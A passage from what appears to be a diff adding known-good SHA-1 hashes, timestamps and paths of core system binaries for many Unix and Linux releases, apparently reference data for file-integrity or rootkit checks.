Enterprise 5.1] +FF2A830AE90392690C51D660EDC6CD6784953B2B Mon Aug 7 11:18:31 2006 /bin/netstat [RedHat Enterprise 5.1] +428D96115D5DCF3556ED73A95ABE3F8D4096B416 Wed Nov 8 13:52:06 2006 /usr/bin/telnet [RedHat Enterprise 5.1] +073877693F7258C3FC8A49E871829A79DD6C099E Mon Nov 27 16:47:04 2006 /bin/su [RedHat Enterprise 5.1] +3D4FBF738DFD5978EDB33BCB848A08B16EAEA7F7 Mon Nov 27 16:47:11 2006 /bin/rm [RedHat Enterprise 5.1] +B578B2BC75B064FE428BD9024D406DDD1AB6578E Mon Nov 27 16:47:11 2006 /bin/ls [RedHat Enterprise 5.1] +2626E20BE1F6C4A82585D249C1AB20AE085C4450 Tue Nov 28 14:06:34 2006 /usr/bin/w [RedHat Enterprise 5.1] +DA64088EE35F6AB040BE37404DDEB191D6AA4AF7 Tue Nov 28 14:06:34 2006 /bin/ps [RedHat Enterprise 5.1] +ACDCCBFAB14A480B97C13C3ABF63B2EF0AD9EA50 Mon Jun 25 09:43:10 2007 /bin/login [RedHat Enterprise 5.1] +A5F758C1AD8988468FC671357AE15392F321D183 Wed Sep 5 16:57:47 2007 /sbin/modinfo [RedHat Enterprise 5.1] +EF4C60BED8CA4DB913C7D28EC5D02B0E2E3B847D Wed Jul 12 07:11:53 2006 /bin/sh [RedHat Enterprise 5.1] + +9BAE36C1006106AD893A7E5605FBECDE0CC10132 Thu Jul 13 01:22:18 2006 /usr/sbin/in.tftpd [RedHat Enterprise 5.2] +5BA606A0F59AED590DA09E17BF9AE2A9207FBAE2 Thu Jul 13 15:58:33 2006 /usr/bin/find [RedHat Enterprise 5.2] +8A00C1AC83815BB77F832D1F40CE6A29BA299D86 Wed Dec 6 15:13:36 2006 /usr/sbin/xinetd [RedHat Enterprise 5.2] +5AA74B9F7D54174006AF12C6320018D7A1DE5DFA Wed Oct 24 14:05:17 2007 /usr/bin/telnet [RedHat Enterprise 5.2] +394A7CE0A44B5D6F0901BBCB622ED82E6B357609 Fri Nov 30 12:44:37 2007 /bin/su [RedHat Enterprise 5.2] +4946B25573C71DDA1BE1C3B59BADE1899BA89605 Fri Nov 30 12:44:44 2007 /bin/rm [RedHat Enterprise 5.2] +399C95CC46B3ECCF243A6DA9BB5B74D90843D315 Fri Nov 30 12:44:44 2007 /bin/ls [RedHat Enterprise 5.2] +63CD882455E40564AE124104BBF6D02B5F5C9F00 Wed Jan 2 08:53:12 2008 /usr/bin/w [RedHat Enterprise 5.2] +1B2F3C73AB73A8E6A70EC4428BDA80CD8BE47E35 Wed Jan 2 08:53:12 2008 /bin/ps [RedHat Enterprise 5.2] +3BCEC106071120D99807052E97FD0388C2FB5F82 Thu Jan 17 17:47:15 2008 /sbin/modinfo [RedHat Enterprise 5.2] +FEAF9D1FD9B39206563CFD6D1259533BFDE8A214 Mon Mar 3 18:43:38 2008 /bin/login [RedHat Enterprise 5.2] +CBCC8B23A01101E27779D7668BF86F8F8B0568D0 Fri Apr 18 09:54:11 2008 /sbin/arp [RedHat Enterprise 5.2] +89EA3B8086E025337DACFC2EAF30D8DF5A8F89FE Fri Apr 18 09:54:11 2008 /bin/netstat [RedHat Enterprise 5.2] +B5F977C6C81C9D6CDC094F0D9850246DCDDC6CC6 Fri Feb 1 11:44:21 2008 /bin/sh [RedHat Enterprise 5.2] + +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/ps [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/w [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/ps [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/w [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/ps [Solaris 2.8 Generic x86] +9C05ABE244AABF1B8775D4163ABA08583BFC04F3 Wed Jan 5 22:27:48 2000 /usr/sbin/arp [Solaris 2.8 Generic x86] +6EA87DEFC1D74A3D82C20EE7B423CD1C73C91FD4 Wed Jan 5 22:27:50 2000 /usr/sbin/in.rlogind [Solaris 2.8 Generic x86] +A0DD3CD838E107591AF706DA18EAA0100293E230 Wed Jan 5 22:27:18 2000 /bin/telnet [Solaris 2.8 Generic x86] +A0DD3CD838E107591AF706DA18EAA0100293E230 Wed Jan 5 22:27:18 2000 /usr/bin/telnet [Solaris 2.8 Generic x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /bin/ls [Solaris 2.8 Generic x86] +1341DC9DED8776FB124F0E4F36D790475BAF9A28 Wed Jan 5 22:42:01 2000 /usr/bin/ls [Solaris 2.8 Generic x86] +AC4A5636FE6E800668E736FC22E6A270B8924C97 Wed Jan 5 22:45:43 2000 /usr/sbin/modinfo [Solaris 2.8 Generic x86] +A14AE352AEF52332E4EDF85F7934CB6D0A9CE815 Wed Jan 5 22:49:09 2000 /bin/rm [Solaris 2.8 Generic x86] +A14AE352AEF52332E4EDF85F7934CB6D0A9CE815 Wed Jan 5 22:49:09 2000 /usr/bin/rm [Solaris 2.8 Generic x86] +8DD28E646113245EEC7DDB0894C60A6A0487FF1F Wed Jan 5 23:14:36 2000 /usr/ucb/ls [Solaris 2.8 Generic x86] +FB099C696D4384EB1DE0E3E0D79D2368789FE4EF Thu Nov 30 13:42:41 2000 /usr/sbin/in.telnetd [Solaris 2.8 Generic x86] +1FE034C41BC744FBE0E87E01E04BFCBF1CBE68AE Thu May 24 22:56:20 2001 /usr/sbin/in.rshd [Solaris 2.8 Generic x86] +9368068399E5853A42CB88C181C3E975958195B0 Wed Jun 27 13:54:42 2001 /usr/sbin/inetd [Solaris 2.8 Generic x86] +257C4EAE52056277EFA60A7457F6D2411BF700D7 Tue Jul 10 17:22:52 2001 /usr/sbin/in.tftpd [Solaris 2.8 Generic x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /bin/find [Solaris 2.8 Generic x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /usr/bin/find [Solaris 2.8 Generic x86] +1CB41885B0FA55036E6EBD9DF0A60D8EBC213CD7 Fri Aug 31 14:09:22 2001 /usr/sbin/in.ftpd [Solaris 2.8 Generic x86] +23881A81A8AE07D254A91DA04F760A8F59D5DE1C Mon Nov 5 12:43:11 2001 /bin/su [Solaris 2.8 Generic x86] +23881A81A8AE07D254A91DA04F760A8F59D5DE1C Mon Nov 5 12:43:11 2001 /usr/bin/su [Solaris 2.8 Generic x86] +1A3A99C09C22A30F88645E86012E68BD202988E6 Mon Nov 5 12:45:07 2001 /sbin/sh [Solaris 2.8 Generic x86] +7A6D8D12AD29FFB2B092095399EAB80673A7DB44 Mon Nov 5 12:45:08 2001 /bin/sh [Solaris 2.8 Generic x86] +7A6D8D12AD29FFB2B092095399EAB80673A7DB44 Mon Nov 5 12:45:08 2001 /usr/bin/sh [Solaris 2.8 Generic x86] +8B71578C92E4B4165E8CB9C2F24EC2A6462AA818 Mon Dec 3 12:20:54 2001 /bin/netstat [Solaris 2.8 Generic x86] +8B71578C92E4B4165E8CB9C2F24EC2A6462AA818 Mon Dec 3 12:20:54 2001 /usr/bin/netstat [Solaris 2.8 Generic x86] +B2147E37E8F4EBBE835BB1CF53BEFF21C141EB94 Mon Dec 17 17:25:21 2001 /bin/login [Solaris 2.8 Generic x86] +B2147E37E8F4EBBE835BB1CF53BEFF21C141EB94 Mon Dec 17 17:25:21 2001 /usr/bin/login [Solaris 2.8 Generic x86] +23881A81A8AE07D254A91DA04F760A8F59D5DE1C Mon Nov 5 12:43:11 2001 /sbin/su [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/w [Solaris 2.8 Generic x86] +A0DD3CD838E107591AF706DA18EAA0100293E230 Wed Jan 5 22:27:18 2000 /usr/ucb/telnet [Solaris 2.8 Generic x86] +8B71578C92E4B4165E8CB9C2F24EC2A6462AA818 Mon Dec 3 12:20:54 2001 /usr/ucb/netstat [Solaris 2.8 Generic x86] + +713C9693B28A64904B560CE6C23425FDE4AB392A Wed Mar 24 02:34:26 1999 /bin/rm [RedHat 6.0] +12E95288A7005470EF137101E238C5716CAE2B92 Wed Mar 24 02:34:26 1999 /bin/ls [RedHat 6.0] +1238AD79E200FD50E21A3A4DEF60333F968459C2 Thu Mar 25 01:29:45 1999 /sbin/arp [RedHat 6.0] +4296892109596857538E540A83DC62B09A09E2F5 Thu Mar 25 01:29:45 1999 /bin/netstat [RedHat 6.0] +9E8C6728C6F981CE715AAAF047ADCD80DE21F0D3 Mon Mar 29 22:05:00 1999 /usr/bin/find [RedHat 6.0] +67B13564196C698EB71ECBBC79A77E3B62F42BD0 Sat Apr 3 18:09:50 1999 /bin/ps [RedHat 6.0] +CB4E586533A3691339B84DE79C408AD3F8DE5903 Sat Apr 3 18:09:49 1999 /usr/bin/w [RedHat 6.0] +9ABEEE9C26D6C4149B0C496F12902F3D975B7D2A Wed Apr 7 21:21:23 1999 /usr/sbin/inetd [RedHat 6.0] +72AB212339D1E62B9E5329639265E61F66796D9F Wed Apr 7 23:20:11 1999 /usr/sbin/in.tftpd [RedHat 6.0] +E63B7A3A4EF4CF9C5C51E48436256ABAD0764210 Tue Apr 13 18:58:38 1999 /bin/su [RedHat 6.0] +EB3DDBBE09EAE91CF13523BB9232CC2AAC8B22CC Thu Apr 15 19:26:44 1999 /usr/sbin/in.telnetd [RedHat 6.0] +88E4C77B411CCF0C970702D05844D1117655964E Thu Apr 15 19:26:44 1999 /usr/bin/telnet [RedHat 6.0] +87AF69478C86FFE829FC48A7C80196DF3D202AB2 Thu Apr 15 22:48:52 1999 /usr/sbin/in.rshd [RedHat 6.0] +1ED191F5DAEDE6E91B07B6F28EE2A10ED141FC70 Thu Apr 15 22:48:52 1999 /usr/sbin/in.rlogind [RedHat 6.0] +D62915BF6BDA5EE7A8FE730863E5F3762E6C5FFF Mon Apr 19 21:46:43 1999 /sbin/modinfo [RedHat 6.0] +3AD70D834A2D5E3ECA11576F6D33084D8890A364 Tue Jun 8 12:55:19 1999 /usr/sbin/in.ftpd [RedHat 6.0] +ABF9E85F572FA1581AA03E57AAAD7B6C17634C4C Fri Jun 11 16:39:59 1999 /bin/login [RedHat 6.0] +930F001862AAD9BD09C865057C5A50928131C9BB Tue Apr 6 16:33:11 1999 /bin/sh [RedHat 6.0] +3AD70D834A2D5E3ECA11576F6D33084D8890A364 Tue Jun 8 12:55:19 1999 /usr/sbin/in.wuftpd [RedHat 6.0] +3AD70D834A2D5E3ECA11576F6D33084D8890A364 Tue Jun 8 12:55:19 1999 /usr/sbin/wu.ftpd [RedHat 6.0] + +3CB48684C0FA647E1EF9CBB51198CF2AEFDB07D2 Mon Feb 21 19:29:05 2005 /sbin/modinfo [CentOS 4.2] +7FFE3B3BA86921228D0471EC76B9F891362ACB39 Tue Feb 22 00:57:48 2005 /usr/bin/find [CentOS 4.2] +A481067AFC4431978EFDFF3CB3ECC2E47CAF3D2A Sun Apr 10 03:37:53 2005 /sbin/arp [CentOS 4.2] +5A1C24653A84968DA981F41CA7F49ED158C2261F Sun Apr 10 03:37:53 2005 /bin/netstat [CentOS 4.2] +5AD7323C5CECC8D70E05ABDD1D37747737349624 Tue Jun 14 20:45:53 2005 /usr/bin/telnet [CentOS 4.2] +5E2AB48E665A986A6F018ACF91F75890DA8C99A3 Mon Aug 22 00:35:54 2005 /usr/sbin/xinetd [CentOS 4.2] +D10A1E74FC55CB1E9E76F95D0B409775B8D978FA Mon Aug 22 00:40:52 2005 /bin/login [CentOS 4.2] +8B92A3B1FD1EA9E96AA342198BA8647FDC018E28 Mon Aug 22 02:59:38 2005 /usr/bin/w [CentOS 4.2] +23B15F3F87ED3D27A583D9CB2DD29D232489DCCB Mon Aug 22 02:59:38 2005 /bin/ps [CentOS 4.2] +347554DEE608502CD48E43837586C817C2577338 Tue Aug 23 09:50:02 2005 /bin/su [CentOS 4.2] +E6FB36FEC926E9D1679A9550253C1C42B371C421 Tue Aug 23 09:50:15 2005 /bin/rm [CentOS 4.2] +EB3CE1DA7C2C3CDFFB67363D2B1C206E83384F60 Tue Aug 23 09:50:15 2005 /bin/ls [CentOS 4.2] +CB322CDAAA4F1999A01BF3622E2E881B18EDA6CC Mon Feb 21 21:41:01 2005 /bin/sh [CentOS 4.2] + +AAD4C378D36058BC44465816D3405257CC2856A6 Mon Feb 21 15:21:52 2005 /usr/sbin/xinetd [CentOS 4.0] +336E3E98E5ED38A5639D7F16F76ADA54BC124407 Mon Feb 21 15:39:27 2005 /bin/login [CentOS 4.0] +D984CD2E69C7934B0925350581C4AB651DD56CEE Mon Feb 21 15:52:50 2005 /usr/bin/telnet [CentOS 4.0] +3F131942212D56A2DE5C15475160BAB2F266C138 Mon Feb 21 16:50:21 2005 /usr/bin/w [CentOS 4.0] +2F7A330A7F5ACD634052B5FD3AE16FF0F2624A47 Mon Feb 21 16:50:21 2005 /bin/ps [CentOS 4.0] +1ACA01E54FE75F7007CC06D97E9A27B4002A684E Mon Feb 21 18:01:03 2005 /sbin/arp [CentOS 4.0] +4C7E6B191B148DA205660010EF43854563FB4221 Mon Feb 21 18:01:03 2005 /bin/netstat [CentOS 4.0] +EB826E57841DB24BB119F4B2B9678358EFD98AC5 Mon Feb 21 19:29:05 2005 /sbin/modinfo [CentOS 4.0] +1F15A4B75078449491DFEF8F38A3A55383E01043 Mon Feb 21 20:05:09 2005 /bin/su [CentOS 4.0] +6CA1CCA1A7E3CDFD86AB55A2B7CD00E1B55AFF60 Mon Feb 21 20:05:24 2005 /bin/rm [CentOS 4.0] +66C1EB41FD284957C8217D27A83274F2C6DF2AC7 Mon Feb 21 20:05:24 2005 /bin/ls [CentOS 4.0] +B0A7F3BF9E1BC8E362180D2B80817B5D2422BE6F Tue Feb 22 00:57:48 2005 /usr/bin/find [CentOS 4.0] +9E1D6E61181CBD762E27FD371989ABD5F06FED71 Mon Feb 21 21:41:01 2005 /bin/sh [CentOS 4.0] + +4384946EA56AD7B305196CBD81428C5831A8232E Fri May 1 06:05:30 2009 /bin/ls [FreeBSD 7.2 x86_64] +ED37FAC70F7839AE7DE0C9E769D37247B25C6754 Fri May 1 06:05:30 2009 /bin/ps [FreeBSD 7.2 x86_64] +85644F395C4BC5EB88E153D23FFC06E9003D3197 Fri May 1 06:05:30 2009 /bin/sh [FreeBSD 7.2 x86_64] +227ED66A16E98C43CD8ADD250EC252905EF3A0E2 Fri May 1 06:05:30 2009 /bin/rm [FreeBSD 7.2 x86_64] +7CED7AAF1EB965BB74CCB1D456FA2B30C21FAA85 Fri May 1 06:06:54 2009 /usr/bin/su [FreeBSD 7.2 x86_64] +3B4A9BDD9F063AE9C1F1083ED033A4FF5EFE41E8 Fri May 1 06:06:50 2009 /usr/bin/login [FreeBSD 7.2 x86_64] +BD5CFDB7F6F3803EEE51A3E64E67DE259F356A2C Fri May 1 06:06:51 2009 /usr/bin/netstat [FreeBSD 7.2 x86_64] +15D24BEEF395A1E2716706A4AFDE42ABA7E119B5 Fri May 1 06:06:46 2009 /usr/bin/find [FreeBSD 7.2 x86_64] +6369D2D877380FB04CF2171375886D7EAE5F1927 Fri May 1 06:06:55 2009 /usr/bin/telnet [FreeBSD 7.2 x86_64] +BB9545179A82B7531BED9CE622BAD1BDCFB300A2 Fri May 1 06:06:57 2009 /usr/bin/w [FreeBSD 7.2 x86_64] +7BE2AA85DEC94870D8DE0E52546F07EE241536BB Fri May 1 06:07:02 2009 /usr/sbin/arp [FreeBSD 7.2 x86_64] +98413A93AC02F85B8FD3E19DCEBDB189F3ACA7A2 Fri May 1 06:07:08 2009 /usr/sbin/inetd [FreeBSD 7.2 x86_64] + +E6B3D12DB0E3D7E39FA86CF20D1DBB5FCA49C604 Wed Jan 16 00:31:01 2008 /bin/ls [FreeBSD 6.3] +241E780165D77FFC4676A15897AFC362C8FD7BCD Wed Jan 16 00:31:02 2008 /bin/ps [FreeBSD 6.3] +BBC67E984DEDE892A6BEF644DB9F9F3452A5D0E8 Wed Jan 16 00:31:02 2008 /bin/sh [FreeBSD 6.3] +A94B4C40773E4D01DC30F8AABA6EEB34E6498C7C Wed Jan 16 00:31:02 2008 /bin/rm [FreeBSD 6.3] +BA32A1E39C0858DDA46EB3B4A1E8E3FDD07A086C Wed Jan 16 00:32:51 2008 /usr/bin/su [FreeBSD 6.3] +80E652F089FEF05D62BFAA2DF991BB88AC1FB0DB Wed Jan 16 00:32:45 2008 /usr/bin/login [FreeBSD 6.3] +5A60BEBBF23CDB8BC08DF1F795D9B7590F0C63E1 Wed Jan 16 00:32:47 2008 /usr/bin/netstat [FreeBSD 6.3] +7DF722883B1AA7D1ABFFDA1176C667DF86A433CE Wed Jan 16 00:32:41 2008 /usr/bin/find [FreeBSD 6.3] +690DD07A53B3954BAF735E9B718B36A6C45F314E Wed Jan 16 00:32:52 2008 /usr/bin/telnet [FreeBSD 6.3] +8C0A8D9086EDB5020E56EEF614AB12E71BD5BD83 Wed Jan 16 00:32:57 2008 /usr/bin/w [FreeBSD 6.3] +557E0FD8D747888CC2F0AED0A264454977BE6F82 Wed Jan 16 00:33:01 2008 /usr/sbin/arp [FreeBSD 6.3] +C6C4E6C0D79BED2719B5650D6F2F56954243985B Wed Jan 16 00:33:08 2008 /usr/sbin/inetd [FreeBSD 6.3] + +32B93B4A47149412D497A8A2981F8AB0DD067C6D Fri Nov 7 08:00:00 1997 /bin/login [HP-UX B.11.00] +32B93B4A47149412D497A8A2981F8AB0DD067C6D Fri Nov 7 08:00:00 1997 /usr/bin/login [HP-UX B.11.00] +904829DF633946E66AA05ADCE1DF27F113759237 Fri Nov 7 08:00:00 1997 /bin/w [HP-UX B.11.00] +904829DF633946E66AA05ADCE1DF27F113759237 Fri Nov 7 08:00:00 1997 /usr/bin/w [HP-UX B.11.00] +B05BCFACBE5168CD8797F68F0A3B1A032B52373A Fri Nov 7 08:00:00 1997 /bin/find [HP-UX B.11.00] +B05BCFACBE5168CD8797F68F0A3B1A032B52373A Fri Nov 7 08:00:00 1997 /usr/bin/find [HP-UX B.11.00] +C479CD2ED9AF834C3C22F82797D3E657831416B2 Fri Nov 7 08:00:00 1997 /sbin/rm [HP-UX B.11.00] +E04C1C8FAE475B836DD33072AD2AA246717B80AF Fri Nov 7 08:00:00 1997 /sbin/ls [HP-UX B.11.00] +DC051B44C836ED2E74FA167B2BC0AC530723916A Fri Nov 7 08:00:00 1997 /bin/ps [HP-UX B.11.00] +DC051B44C836ED2E74FA167B2BC0AC530723916A Fri Nov 7 08:00:00 1997 /usr/bin/ps [HP-UX B.11.00] +3D55E5FEC0CDF2B00B1D9C79999E45430214A581 Fri Nov 7 08:00:00 1997 /bin/rm [HP-UX B.11.00] +3D55E5FEC0CDF2B00B1D9C79999E45430214A581 Fri Nov 7 08:00:00 1997 /usr/bin/rm [HP-UX B.11.00] +1D6A420D95CAD471B8AFF8094063D8407435861F Fri Nov 7 08:00:00 1997 /bin/ls [HP-UX B.11.00] +1D6A420D95CAD471B8AFF8094063D8407435861F Fri Nov 7 08:00:00 1997 /usr/bin/ls [HP-UX B.11.00] +74D13A2BC0CC9022CA50B0C4015939A2347882DC Thu Aug 6 17:03:43 1998 /bin/su [HP-UX B.11.00] +74D13A2BC0CC9022CA50B0C4015939A2347882DC Thu Aug 6 17:03:43 1998 /usr/bin/su [HP-UX B.11.00] +B2D3DF5F7BB50B44BC9BDF2B8B4290174DA6A204 Fri Sep 25 20:18:39 1998 /usr/sbin/arp [HP-UX B.11.00] +1C82C3F53F95C343C4B6480C74058AC09CDA3AF6 Wed Oct 14 11:54:53 1998 /bin/telnet [HP-UX B.11.00] +1C82C3F53F95C343C4B6480C74058AC09CDA3AF6 Wed Oct 14 11:54:53 1998 /usr/bin/telnet [HP-UX B.11.00] +334FFF350C04A4DAAC87F3F844D1D4577BE0E52F Thu Jan 28 23:21:53 1999 /bin/netstat [HP-UX B.11.00] +334FFF350C04A4DAAC87F3F844D1D4577BE0E52F Thu Jan 28 23:21:53 1999 /usr/bin/netstat [HP-UX B.11.00] +FA386DBFD014A37516628AA58CC2586607E48202 Tue Apr 27 08:14:46 1999 /sbin/sh [HP-UX B.11.00] +FBA2F507DD2425653F359218CC5733E95C7D74B0 Tue Apr 27 08:14:41 1999 /bin/sh [HP-UX B.11.00] +FBA2F507DD2425653F359218CC5733E95C7D74B0 Tue Apr 27 08:14:41 1999 /usr/bin/sh [HP-UX B.11.00] +8E6FF7A818985DEBFF87D7E217508657AEB7FE73 Mon Apr 7 19:25:26 2008 /usr/sbin/inetd [HP-UX B.11.00] + +669DBA50165389651E8318EEF2CAF9E73DEED8D9 Wed Sep 27 07:52:33 2006 /usr/bin/find [CentOS 4.8 x86_64] +A3B0118D481BEEB2799B1AE5DC8FAD03D8A4D256 Sat Nov 17 13:03:33 2007 /usr/bin/telnet [CentOS 4.8 x86_64] +17D6548B1AFA4628F39F2DAC51D65222A95CB473 Fri Jul 25 12:58:11 2008 /usr/sbin/xinetd [CentOS 4.8 x86_64] +C86A0C33EA94B26FA1B6075FEE4C1C2DE807656C Fri Jul 25 14:55:33 2008 /sbin/arp [CentOS 4.8 x86_64] +55A93301573519DAE8A241E13219D60AD843D383 Fri Jul 25 14:55:33 2008 /bin/netstat [CentOS 4.8 x86_64] +02C0FE6EA4895C145542FA2CFDEDDD2599A1DBB2 Mon Jun 1 18:10:56 2009 /sbin/modinfo [CentOS 4.8 x86_64] +8599A37D992714ED999F463EBA486C5111FC8D21 Mon Jun 1 18:23:29 2009 /bin/login [CentOS 4.8 x86_64] +96327926BE9235B98321FAA13B06F806AE742F44 Mon Jun 1 18:36:53 2009 /usr/bin/w [CentOS 4.8 x86_64] +455AFE324EDFC0F5F8319676647DEC141B85D2A2 Mon Jun 1 18:36:53 2009 /bin/ps [CentOS 4.8 x86_64] +147B11220D55983D1D603235D3F7A332D3AE369A Thu Jul 2 16:51:49 2009 /bin/su [CentOS 4.8 x86_64] +C17F28892A2C566D87069E755D6EB76C7F83A621 Thu Jul 2 16:51:51 2009 /bin/rm [CentOS 4.8 x86_64] +B0283F761F6CFD6DFB8429717677351B396B94EB Thu Jul 2 16:51:51 2009 /bin/ls [CentOS 4.8 x86_64] +CE991DC8E910FF84B221B2375EF86F4CCF23D3DA Mon Jun 1 14:47:13 2009 /bin/sh [CentOS 4.8 x86_64] + +1181151D93B1CD2E93D4B16F5B1C4241050F8E69 Fri May 1 06:54:16 2009 /bin/ls [FreeBSD 7.2] +DB382ED1F8074DE25F7C8385FD1885838F52B20B Fri May 1 06:54:17 2009 /bin/ps [FreeBSD 7.2] +21E4C5A204F647DAFAAEAB989DB4C7DC34067EB2 Fri May 1 06:54:17 2009 /bin/sh [FreeBSD 7.2] +2114F8C0AFE6A881CB6ABA9FE9CCE0E7925DA2FB Fri May 1 06:54:17 2009 /bin/rm [FreeBSD 7.2] +F70BB039DECC1D37466A5DD583AC24CFE6B9DA92 Fri May 1 06:55:56 2009 /usr/bin/find [FreeBSD 7.2] +A46B9EB0E666EBF3ADCF859436B6286F9E65EF1B Fri May 1 06:56:06 2009 /usr/bin/su [FreeBSD 7.2] +6836E07693259C53D7D132D2E58CD9FD4057D3BE Fri May 1 06:56:00 2009 /usr/bin/login [FreeBSD 7.2] +358D6617851C58D74D9D00296279213FA97413E8 Fri May 1 06:56:02 2009 /usr/bin/netstat [FreeBSD 7.2] +28D55E1F48FD48CA1C4E8404FDEEB7C9DC7B0206 Fri May 1 06:56:15 2009 /usr/sbin/arp [FreeBSD 7.2] +E847B015C12F3D310F249FD03B9DE8A95AB9CC28 Fri May 1 06:56:25 2009 /usr/sbin/inetd [FreeBSD 7.2] +A76FAB2FC29990CBA110D65FCF7A14F1D22958EA Fri May 1 06:56:07 2009 /usr/bin/telnet [FreeBSD 7.2] +FD71EED33E1AF0DBB4601CECCEBEBCFA84C98C17 Fri May 1 06:56:10 2009 /usr/bin/w [FreeBSD 7.2] + +BAA3138C4E5B7A45D3CFBEB346F77AC4D2B42DF0 Fri Jun 16 13:18:12 2006 /usr/sbin/xinetd [SuSE Enterprise 10.1] +EAAFE3A80CE802773E0A2C80AD1960548F93E28B Fri Jun 16 13:20:32 2006 /usr/bin/telnet [SuSE Enterprise 10.1] +757EA4DACB38C6990C21ED2ED76FEFC8A367BCC4 Fri Jun 16 13:26:09 2006 /usr/bin/opieftpd [SuSE Enterprise 10.1] +F52085AC51222EC245738422210E7EA31CF02C4F Fri Jun 16 13:41:01 2006 /sbin/arp [SuSE Enterprise 10.1] +5EA24906BA0D850C9335BE270114D86984BB466B Fri Jun 16 13:41:00 2006 /bin/netstat [SuSE Enterprise 10.1] +0A3350A15BFE06EAB905EEFD36532E9CB764B734 Fri Aug 25 16:36:54 2006 /usr/bin/w [SuSE Enterprise 10.1] +0999CF20950DBA7E367384F3B6B9370126AFE299 Fri Aug 25 16:36:53 2006 /bin/ps [SuSE Enterprise 10.1] +F534D71932D1388D16631DF82429900462D8460C Thu May 3 13:44:43 2007 /sbin/modinfo [SuSE Enterprise 10.1] +DADC2687F8741DE4A4C57C1C2B076EA05CD163C1 Thu May 3 13:49:44 2007 /usr/bin/find [SuSE Enterprise 10.1] +7DEDB0B145C686EBB426EDC92FC68B82FD7C67FE Thu May 3 14:03:26 2007 /bin/su [SuSE Enterprise 10.1] +6C5AF0E2BA37F8A00C0C2F878E6507DA929D5637 Thu May 3 14:03:25 2007 /bin/rm [SuSE Enterprise 10.1] +40FB083FDFBFB633B5646E87E5854D58D62BBE5D Thu May 3 14:03:25 2007 /bin/ls [SuSE Enterprise 10.1] +F11151F7A7CA3E6F6ED224C9FE1E58C9047E0A2A Fri May 4 11:30:07 2007 /bin/login [SuSE Enterprise 10.1] +238EFECEE4B32D363C19E83C02018F51E932F566 Thu May 3 13:46:25 2007 /bin/sh [SuSE Enterprise 10.1] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 13:18:12 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.1] + +F1BC961389896EE182DD6FA2830476E862DE3008 Thu Nov 6 00:00:42 2008 /usr/sbin/update-inetd [Ubuntu 9.10] +4232701C4A5AC1C0EFBED606B9D6044CEA57866A Mon May 4 14:20:17 2009 /usr/sbin/arp [Ubuntu 9.10] +95702EF92BF4CBDD64C112F7471797FE15234645 Mon May 4 14:20:17 2009 /bin/netstat [Ubuntu 9.10] +B47CF7ECDABBC24E1F063C1891003D92BD635E37 Mon Jun 15 09:28:38 2009 /usr/bin/find [Ubuntu 9.10] +5B6B47B0C9CF29D70D6FBC89773B9447F7DC05E5 Fri Jul 31 13:55:36 2009 /bin/su [Ubuntu 9.10] +4E1ABD52F4F8B3E6463922937ABF5E1948E9CE90 Fri Jul 31 13:55:36 2009 /bin/login [Ubuntu 9.10] +8F76990312CDA63224EEF01095A10DD2FB591A1A Tue Sep 15 21:46:13 2009 /sbin/modinfo [Ubuntu 9.10] +326CAE38CE2B9D9515502558931D0442BB89A797 Tue Sep 15 21:46:40 2009 /bin/ps [Ubuntu 9.10] +6FE34D9E1F6DD30B96588F0E7CF12384F4A25080 Tue Oct 6 11:07:38 2009 /bin/rm [Ubuntu 9.10] +DDF15D0592C484692426D2C9E5D537B81476C0E6 Tue Oct 6 11:07:38 2009 /bin/ls [Ubuntu 9.10] +2D3D1DCF31C0EED5F4A34179792A470B76DED2F3 Sun Sep 20 23:49:06 2009 /bin/sh [Ubuntu 9.10] +7B576943C48E51561CFD316189A83354EE03AAA4 Tue Sep 15 21:46:41 2009 /usr/bin/w [Ubuntu 9.10] +745E49B58E899026ADB6EEDE2CD2DE5529737B4F Wed Jan 21 12:27:05 2009 /usr/bin/telnet [Ubuntu 9.10] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 10.1] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /bin/rm [Slackware 10.1] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /bin/ls [Slackware 10.1] +C9A1135F97D7A76C9AEEFE41FF8FA444AD73841E Mon Jun 21 19:20:52 2004 /bin/su [Slackware 10.1] +9770FAD790FE4980560391ABEDA976753D7322EB Mon Jun 21 19:20:52 2004 /bin/login [Slackware 10.1] +24BA5A9A2E28D2ED0EF63C7083AC0F729B50A5EB Tue Aug 17 02:42:18 2004 /usr/bin/w [Slackware 10.1] +4CCFADC7F563357899BBC9278C27C00B2DA39C3A Tue Aug 17 02:42:18 2004 /bin/ps [Slackware 10.1] +2686EDC157FBCFAD28AD19A16432C06D271E2DE4 Fri Sep 3 19:16:43 2004 /usr/sbin/vsftpd [Slackware 10.1] +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 10.1] +DDC71F0D928E935F81EF58F49CB90401AE0C4465 Sat Sep 18 22:49:33 2004 /usr/sbin/proftpd [Slackware 10.1] +1C2CE3EB344A932D60FE0DEC60AC30F67ED75874 Thu Nov 4 04:54:53 2004 /usr/sbin/in.rshd [Slackware 10.1] +98AE1C12B5A0696F2A0FD0130239CB087B5A7F56 Thu Nov 4 04:54:54 2004 /usr/sbin/in.rlogind [Slackware 10.1] +D9DA91852A1ACCDF6FCBD5843506662E6050C0F7 